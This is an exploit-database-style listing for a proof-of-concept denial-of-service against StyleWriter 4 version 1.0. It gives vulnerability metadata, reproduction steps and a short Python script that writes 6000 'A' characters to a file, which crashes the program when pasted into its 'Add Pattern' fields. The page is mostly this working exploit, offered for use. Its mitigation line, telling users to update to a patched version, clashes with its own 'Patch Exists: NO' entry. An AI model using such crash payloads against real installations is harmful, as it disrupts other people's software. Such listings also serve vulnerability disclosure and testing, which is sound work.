header-logo
Suggest Exploit
vendor:
StyleWriter
by:
Gionathan "John" Reale
5.5
CVSS
MEDIUM
Denial of Service
400
CWE
Product Name: StyleWriter
Affected Version From: 1
Affected Version To: 1
Patch Exists: NO
Related CWE:
CPE: a:editorsoftware:stylewriter:4
Metasploit:
Other Scripts:
Platforms Tested: Windows 7 32-bit
2018

StyleWriter 4 1.0 – Denial of Service (PoC)

This exploit creates a file called exploit.txt with a payload of 6000 'A' characters, which when pasted into the 'Pattern to Find' and 'Advice Message' fields in the StyleWriter 4 1.0 software, causes it to crash.

Mitigation:

Update to a patched version of the software.
Source

Exploit-DB raw data:

# Exploit Title: StyleWriter 4 1.0 - Denial of Service (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-08-23
# Homepage: http://www.editorsoftware.com
# Software Link: http://www.editorsoftware.com/StyleWriter_Download.php
# Tested Version: 1.0
# Tested on OS: Windows 7 32-bit
# Steps to Reproduce: Run the python exploit script, it will create a new 
# file with the name "exploit.txt" just copy the text inside "exploit.txt"
# and start the program. In the new window click "Tools" >"Add Pattern...". 
# Now in the new window paste the content of 
# "exploit.txt" into the following fields:"Pattern to Find" & "Advice Message". 
# Click "Add" and you will see a crash.

#!/usr/bin/python
   
buffer = "A" * 6000

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"